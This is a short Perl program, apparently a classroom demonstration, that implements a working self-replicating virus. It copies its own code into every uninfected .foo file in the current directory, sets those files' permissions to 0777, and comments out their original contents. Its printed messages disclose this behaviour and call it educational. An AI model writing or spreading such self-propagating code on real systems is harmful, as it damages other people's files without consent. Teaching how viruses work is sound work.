FooVirus.pl

#!/usr/bin/perl

###  FooVirus.pl
###  Author: Avi kak (kak@purdue.edu)
###  Date:   April 19, 2006

print "\nHELLO FROM FooVirus\n\n";

print "This is a demonstration of how easy it is to write\n";
print "a self-replicating program. This virus will infect\n";
print "all files with names ending in .foo in the directory in\n";
print "which you execute an infected file.  If you send an\n";
print "infected file to someone else and they execute it, their,\n";
print ".foo files will be damaged also.\n\n";

print "Note that this is a safe virus (for educational purposes\n";
print "only) since it does not carry a harmful payload.  All it\n";
print "does is to print out this message and comment out the\n";
print "code in .foo files.\n\n";
open IN, "< $0";

my $virus;
for (my $i=0;$i<37;$i++) {
	$virus .= <IN>;
}
foreach my $file ( glob "*.foo" ) {
	open IN, "< $file";
	my @all_of_it = <IN>;
	close IN;
	next if (join ' ', @all_of_it) =~ /foovirus/m;
	chmod 0777, $file;
	open OUT, "> $file";
	print OUT "$virus";
	map s/^$_/#$_/, @all_of_it;
	print OUT @all_of_it;
	close OUT;
}